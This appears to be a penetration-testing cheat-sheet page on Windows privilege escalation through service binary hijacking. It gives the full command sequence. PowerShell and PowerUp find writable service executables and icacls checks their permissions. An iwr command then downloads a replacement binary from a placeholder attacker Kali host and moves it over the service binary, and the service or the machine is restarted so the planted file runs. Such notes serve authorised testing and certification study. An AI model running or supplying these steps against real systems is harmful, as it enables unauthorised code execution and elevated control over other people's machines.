Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object {$_.State -like 'Running'}
NOTE: The following command need to import PowerUp.ps1
Get-ModifiableServiceFile
icacls "<Binary File Full Path>"
icacls utility outputs the corresponding principals and their permission mask
F
Full access
M
Modify access
RX
Read and execute access
R
Read-only access
W
Write-only access
iwr -uri http://<Kali IP Address>/<File Name> -Outfile <File Name>
move <Binary File Full Path> ./<Binary File Name>
move .\<File Name> <Binary File Full Path>
Either restart the service
Stop-Service <Service Name> Start-Service <Service Name>
Or restart the system
shutdown /r /t 0
NOTE: If want to restart the system, make sure user has SeShutdownPrivilege
Last updated 1 month ago